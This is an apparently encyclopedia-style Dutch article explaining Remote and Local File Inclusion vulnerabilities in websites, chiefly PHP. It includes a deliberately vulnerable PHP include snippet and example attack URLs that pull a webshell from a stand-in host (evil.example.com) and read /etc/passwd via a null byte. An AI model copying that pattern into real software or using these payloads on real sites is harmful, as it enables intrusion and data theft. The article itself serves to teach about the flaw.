title: Remote File Inclusion
text: Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek treedt op als gevolg van het gebruik van gebruikersinput zonder juiste validatie. Dit kan leiden tot iets kleins zoals het afgeven van de inhoud van het bestand of meer ernstige gebeurtenissen zoals:
   Code wordt uitgevoerd op de webserver.
   Het uitvoeren van de code client-side, zoals JavaScript, die kan leiden tot andere aanslagen zoals Cross-Site Scripting (XSS)
   Denial of service (DoS)
   Diefstal van gegevens / manipulatie
  
  Types
  
  Remote File Inclusion 
  Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek optreedt als gevolg van het gebruik van gebruikersinput zonder juiste validatie.
  
  Local File Inclusion 
  Local File Inclusion (LFI) lijkt op de Remote File Inclusion kwetsbaarheid, maar in plaats van afgelegen bestanden maakt het gebruik van lokale bestanden (bestanden die reeds op de server aanwezig zijn). Het lek treedt op ook als gevolg van het gebruik van gebruikersinput zonder juiste validatie.
  
  Programmeertalen
  
  PHP
  In PHP is de hoofdoorzaak het niet valideren van externe variabelen zoals $_GET, $_POST en $_COOKIE. Het merendeel van de kwetsbaarheden kan worden toegeschreven aan beginnende programmeurs niet vertrouwd met alle mogelijkheden van de programmeertaal PHP. De PHP taal heeft een allow_url_fopen richtlijn die, indien ingeschakeld, laat bestandssysteem functies om een URL te gebruiken om gegevens uit externe locaties te halen. Een aanvaller zal een variabele die wordt doorgegeven aan een van deze functies te wijzigen om ervoor te zorgen dat het kwaadaardige code bevatten vanaf een externe bron. Om dit beveiligingslek alle input van de gebruiker moet worden bevestigd voordat het wordt gebruikt te beperken.
  
  Het meest opvallende zijn include en require, maar de volgende zijn ook kwetsbaar indien niet geverifieerd:
  include_once, fopen, file_get_contents en require_once
  
  Voorbeeld
  <?php
  
  	if ( isset ( $_GET["PAGINA"] ) ) {
  	   include ( $_GET["PAGINA"] . ".php" );
  	}
  
  ?>
  
  De maker hiervan wil natuurlijk dat dit gebruikt wordt om de pagina's van de website te weergeven, hoewel dit ook kan worden misbruikt door de aanvaller. Voorbeelden hiervan zijn:
   * /kwetsbaar.php?PAGINA=http://evil.example.com/webshell.txt? - zet kwaadaardige code op de website.
   * /kwetsbaar.php?PAGINA=exploit - laad kwaadaardige code die al op de webserver staat.
   * /kwetsbaar.php?PAGINA=/etc/passwd%00 - laat de aanvaller de inhoud van het passwd bestand op een UNIX systeem.
  
  Zie ook
   Metasploit Project, een open-source penetration testing tool die ook test voor RFI
   SQL-injectie
  
  Externe links
  Remote File Inclusion
  Local File Inclusion
  www.esecurityplanet.com
  www.php.net
  
  Exploit